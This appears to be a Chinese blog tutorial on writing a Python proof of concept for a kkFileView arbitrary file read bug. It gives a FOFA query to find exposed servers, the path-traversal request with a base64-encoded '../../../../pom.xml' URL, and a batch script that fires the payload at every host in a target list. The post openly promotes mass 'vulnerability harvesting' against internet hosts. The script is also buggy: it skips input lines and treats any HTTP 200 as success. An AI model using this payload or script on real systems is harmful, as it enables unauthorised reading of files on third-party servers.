Python--poc编写(2)

一、背景

#kkFileView 文档管理系统#任意文件读取 #1day#漏洞

FOFA:body="/onlinePreview?url" GET /onlinePreview?url=http://xxx/?fullfilename=../../../../pom.xml" 注意:url参数需要 base64加密!

根据这个漏洞的内容我们想要批量的进行挖掘漏洞;思路就是通过fofa进行地址导出,之后利用python逐一去访问地址,保留访问成功的逐一去验证漏洞正确性。

二、用到的python库

requests是Python中流行的HTTP请求库,它可以发送HTTP请求并返回响应。可以使用requests库进行信息收集如下:

发送HTTP GET请求:

可以使用requests库发送HTTP GET请求,以获取一个URL的内容:

import requests
url = 'http://www.example.com'
response = requests.get(url)
print(response.content)

如果需要向服务器发送数据,可以使用requests库发送POST请求:

import requests
url = 'http://www.example.com'
data = {'username': 'user1', 'password': 'pass1'}
response = requests.post(url, data=data)
print(response.content)

处理HTTP响应:

可以使用requests库处理从服务器接收到的HTTP响应:

import requests
url = 'http://www.example.com'
response = requests.get(url)
if response.status_code == 200:
    print('Response OK')

自定义HTTP请求头:

可以使用requests库自定义HTTP请求头。可以添加自定义头以伪造用户代理或其他信息:

import requests
url = 'http://www.example.com'
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
response = requests.get(url, headers=headers)
print(response.content)


使用代理服务器: 

 可以使用requests库代理服务器的网络流量。可以在代码中指定代理服务器:

import requests
url = 'http://www.example.com'
proxies = {'http': 'http://10.10.1.10:3128', 'https': 'http://10.10.1.10:1080'}
response = requests.get(url, proxies=proxies)
print(response.content)

文件读取写入操作:

打开文件(读取或写入操作)

# 打开一个文件进行读取
with open('filename.txt', 'r', encoding='utf-8') as file:
    # 文件操作(读取、写入等)
    content = file.read()

# 或者打开一个文件进行写入(如果文件不存在则创建,存在则覆盖内容)
with open('newfile.txt', 'w', encoding='utf-8') as file:
    file.write('Some content...')
    
# 若要追加内容而不覆盖原有内容
with open('appendfile.txt', 'a', encoding='utf-8') as file:
    file.write('Additional content...')

在上述代码中,with语句确保了文件在操作完成后会被自动关闭,这是一种推荐的文件操作方式,因为它可以确保即使在发生异常的情况下也会正确关闭文件。

非推荐模式:

file = open('filename.txt', 'r', encoding='utf-8')
content = file.read()
file.close()

# 或者
file = open('newfile.txt', 'w', encoding='utf-8')
file.write('Some content...')
file.close()

三、POC编写

根据需求将请求地址进行base64编码

#KKFileview文档管理系统漏洞验证POC
#使用fofa进行批量的漏洞验证FOFA:body="/onlinePreview?url"
import base64
import requests

urls_to_write = []
with open('filename.txt', 'r', encoding='utf-8') as file:
    session = requests.Session()  # 创建一个Session对象
    requests.packages.urllib3.disable_warnings(category=requests.packages.urllib3.exceptions.InsecureRequestWarning)
    for line in file:
        line = file.readline()
        line = line.strip()
        combined_text = line + '/?fullfilename=../../../../pom.xml'
        encoded_combined_text = base64.b64encode(combined_text.encode('utf-8')).decode('utf-8')
        # 构造新的URL
        url_xml = line+f'/onlinePreview?url={encoded_combined_text}'
        # URL应为字符串,所以需要解码base64得到的字节串
        #print(url_xml)

        try:
            # 发送GET请求
            session = requests.Session()
            response = session.get(url_xml, timeout=10, verify=False)
            response.raise_for_status()

            # 收集成功的URL
            urls_to_write.append(url_xml)

        except requests.exceptions.SSLError as ssl_error:
            print(f"SSL错误: {ssl_error}")
        except requests.exceptions.RequestException as req_error:
            print(f"请求错误: {req_error}")
        except Exception as e:
            print(f"未知错误: {e}")

        # 打开一次文件,一次性写入所有成功访问的URL
        with open('output_url.txt', 'w', encoding='utf-8') as output_file:
            for url in urls_to_write:
                output_file.write(url + '\n')

四、总结

常见的漏洞挖掘,我们可以通过手工过程进行poc编写结合空间测绘批量的刷漏洞。这就是有些师傅所说的批量刷漏洞。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值